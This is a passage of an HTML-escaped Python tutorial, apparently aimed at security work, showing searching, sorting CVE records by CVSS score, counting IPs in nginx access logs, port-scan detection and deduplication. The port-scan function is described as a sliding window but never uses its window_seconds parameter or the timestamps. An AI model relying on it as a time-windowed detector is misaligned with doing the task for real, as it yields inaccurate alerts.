&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;blocklist_set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="c1"&gt;# Instant lookup regardless of list size
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;IP is blocked&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# This matters at scale:
# Linear search through 1,000,000 IPs: up to 1,000,000 comparisons
# Set lookup: 1 comparison regardless of size
# When processing firewall logs with millions of entries, this is the difference
# between a script that takes 10 seconds and one that takes 2 hours
&lt;/span&gt;
&lt;span class="c1"&gt;# Binary search — O(log n) — requires sorted list
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;binary_search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;mid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mid&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;mid&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mid&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mid&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;right&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mid&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# Built-in binary search
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;bisect&lt;/span&gt;
&lt;span class="n"&gt;sorted_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bisect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bisect_left&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sorted_ports&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sorted_ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port 443 found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 Sorting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Python's built-in sort is Timsort — O(n log n) — extremely efficient
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                           &lt;span class="c1"&gt;# In-place sort
&lt;/span&gt;&lt;span class="n"&gt;sorted_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;           &lt;span class="c1"&gt;# Returns new sorted list
&lt;/span&gt;
&lt;span class="c1"&gt;# Sort scan results by severity
&lt;/span&gt;&lt;span class="n"&gt;vulnerabilities&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cve&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CVE-2021-44228&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Log4Shell&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cve&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CVE-2022-0847&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;7.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Dirty Pipe&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cve&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CVE-2023-0179&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;7.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Linux Kernel Privesc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cve&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CVE-2021-4034&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;7.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PwnKit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;# Sort by CVSS score descending (critical first)
&lt;/span&gt;&lt;span class="n"&gt;sorted_vulns&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vulnerabilities&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;vuln&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sorted_vulns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;] &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cve&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Sort with multiple keys
&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;subnet&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;host_part&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.4 Practical Algorithms for Security
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Frequency analysis — which IPs are making the most requests?
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;collections&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Counter&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/var/log/nginx/access.log&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;

&lt;span class="n"&gt;ip_counts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Top 10 IPs by request count:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ip_counts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;most_common&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; requests&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Sliding window — detect port scan (many ports hit in short time)
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;collections&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;defaultdict&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;

&lt;span class="n"&gt;connection_log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;  &lt;span class="c1"&gt;# List of (timestamp, ip, port) tuples
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;detect_port_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;window_seconds&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Detect if any IP hit more than threshold ports in window_seconds.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;ip_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;defaultdict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;ip_ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;scanners&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ip_ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; 
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;scanners&lt;/span&gt;

&lt;span class="c1"&gt;# Deduplication while preserving order
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;deduplicate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;seen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;seen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;seen&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;

&lt;span class="n"&gt;ips_with_duplicates&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;172.16.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;unique_ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;deduplicate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ips_with_duplicates&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unique_ips&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                      &lt;span class="c1"&gt;# ['10.0.0.1', '192.168.1.1', '172.16.0.1']
&lt;/span&gt;
&lt;span class="c1"&gt;# Chunking — process large lists in batches
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Split list into chunks of given size.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
